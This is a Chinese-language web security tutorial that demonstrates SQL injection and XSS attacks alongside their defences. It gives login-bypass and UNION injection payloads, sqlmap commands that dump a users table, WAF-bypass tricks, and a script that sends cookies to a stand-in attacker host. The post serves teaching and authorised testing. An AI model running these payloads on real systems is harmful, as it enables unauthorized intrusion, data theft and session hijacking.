前言

信息安全领域有一条铁律:一切输入都是有害的。然而在真实的开发场景中,我们依然能看到无数因过滤不严导致的漏洞。据OWASP(开放式Web应用程序安全项目)统计,注入类漏洞和XSS漏洞常年占据Top 10榜单。

为什么它们生命力如此顽强?因为业务复杂性和开发者的安全盲区往往让漏洞有机可乘。今天,我将抛开枯燥的理论,直接上实战:通过手工注入、SQLMap自动化、XSS三种类型的演示,让你彻底看清攻击者的思路,从而写出更安全的代码。

免责声明:本文所有技术演示仅用于学习和授权测试,请勿对未授权的目标进行任何攻击行为。


一、SQL注入:从“万能密码”到数据库沦陷

SQL注入的本质是将不可信的数据拼接到SQL语句中,改变原有语义。我们先从一个经典的登录场景开始。

1.1 手工注入:从“万能密码”开始

假设后台登录SQL语句是这样的:

php

$sql = "SELECT * FROM users WHERE username='$username' AND password='$password'";

攻击者在用户名输入框中输入:

text

admin' --

密码随意。最终拼出的SQL变成:

sql

SELECT * FROM users WHERE username='admin' -- ' AND password='xxx'

-- 是MySQL的注释符,后面内容被忽略。如果存在admin用户,即可绕过密码验证登录。

进阶利用:联合查询

当页面有正常数据显示时,攻击者可以通过 UNION 查询获取额外信息。例如:

text

' UNION SELECT 1,2,3,4,5 -- 

通过不断尝试列数,找到显示位后,就能拖出数据库名、表名、字段名:

text

' UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database() -- 

1.2 SQLMap:自动化注入神器

手工注入耗时长,SQLMap可以极大提升效率。一个典型的使用流程:

bash

# 检测注入点
sqlmap -u "http://target.com/article.php?id=1" --batch

# 获取数据库名
sqlmap -u "http://target.com/article.php?id=1" --dbs

# 获取表名
sqlmap -u "http://target.com/article.php?id=1" -D dbname --tables

# 导出数据
sqlmap -u "http://target.com/article.php?id=1" -D dbname -T users --dump

SQLMap的强大在于它支持多种注入技术(布尔盲注、时间盲注、报错注入等),并能自动绕过简单的WAF规则。

1.3 防御:从根源切断注入

根本方案:使用预编译(Prepared Statement)或参数化查询。以Java为例:

java

String sql = "SELECT * FROM users WHERE username = ? AND password = ?";
PreparedStatement pstmt = connection.prepareStatement(sql);
pstmt.setString(1, username);
pstmt.setString(2, password);
ResultSet rs = pstmt.executeQuery();

此时,用户输入永远只被当作数据,不会改变SQL结构。永远不要使用拼接SQL的方式!


二、XSS:悄无声息的会话劫持

XSS(跨站脚本攻击)的核心是往页面中注入恶意脚本,当其他用户浏览时,脚本在受害者浏览器中执行。根据触发方式,分为三类。

2.1 反射型XSS

攻击者将恶意脚本嵌入URL参数,诱导用户点击。例如:

text

http://victim.com/search?q=<script>alert('xss')</script>

如果服务端直接将 q 参数输出到HTML中,就会弹框。这看似无害,但真正的恶意脚本会窃取Cookie或发起恶意请求。

利用场景:窃取Cookie并发送到攻击者服务器。

html

<script>
fetch('http://attacker.com/steal?cookie=' + document.cookie);
</script>

2.2 存储型XSS

这是危害最大的XSS类型。恶意脚本被永久存储在数据库(如评论、帖子)中,任何访问该页面的用户都会中招。

案例:论坛评论区未过滤 script 标签,攻击者发布包含恶意脚本的评论,管理员查看后台时,脚本窃取了管理员的Session,导致权限沦陷。

2.3 DOM型XSS

不经过服务端,完全由前端JavaScript操作DOM时引入。例如:

javascript

var name = location.hash.substring(1);
document.getElementById("welcome").innerHTML = "Hello " + name;

如果 location.hash 包含 <img src=x onerror=alert(1)> ,则会触发XSS。

2.4 防御XSS

  • 输出编码:根据上下文使用合适的编码(HTML实体、JavaScript转义等)。例如,使用 htmlspecialchars 将 < 转为 &lt;

  • CSP(内容安全策略):通过HTTP头限制脚本来源,即使存在注入,也无法执行非白名单脚本。

  • HttpOnly Cookie:设置 HttpOnly 标志,阻止JavaScript读取Cookie,即使XSS也无法窃取。


三、进阶思考:WAF绕过与安全开发生命周期

3.1 绕过WAF的小技巧

在实际渗透测试中,经常会遇到WAF(Web应用防火墙)。攻击者会通过各种手法绕过:

  • 大小写混淆<ScRiPt> 绕过简单的正则。

  • 编码绕过:使用URL编码、Unicode编码。

  • 注释混淆/*!50000 UNION*/ 绕过MySQL特定版本检测。

  • 使用SQLMap的tamper脚本sqlmap --tamper=space2comment --level 5

3.2 安全开发,防患于未然

对于开发者而言,真正的安全感不是依赖WAF,而是在代码层面杜绝漏洞。建议:

  1. 输入验证:严格校验数据类型、长度、格式。

  2. 输出编码:根据输出位置进行转义。

  3. 使用安全框架:如Spring Security、Django自带防御。

  4. 定期安全审计:使用工具(SonarQube、Checkmarx)扫描代码。

  5. SDL(安全开发生命周期):将安全融入需求、设计、编码、测试各阶段。


四、总结

SQL注入和XSS虽然历史久远,但至今仍是Web安全的头号杀手。通过今天的实战,我们看到:

  • SQL注入的本质是数据与代码混淆,解决方案是参数化查询

  • XSS的本质是不可信数据污染了前端环境,解决方案是输出编码 + CSP

作为技术人,我们既要懂攻击原理,也要掌握防御之道。在攻防博弈中,唯有不断学习最新的漏洞趋势,才能构建更安全的网络环境。

最后推荐一些学习资源

  • 在线靶场:DVWA、PortSwigger Web Security Academy

  • 实战平台:HackTheBox、Bugcrowd University

  • 工具:Burp Suite、SQLMap、Nmap

Logo

助力广东及东莞地区开发者,代码托管、在线学习与竞赛、技术交流与分享、资源共享、职业发展,成为松山湖开发者首选的工作与学习平台

更多推荐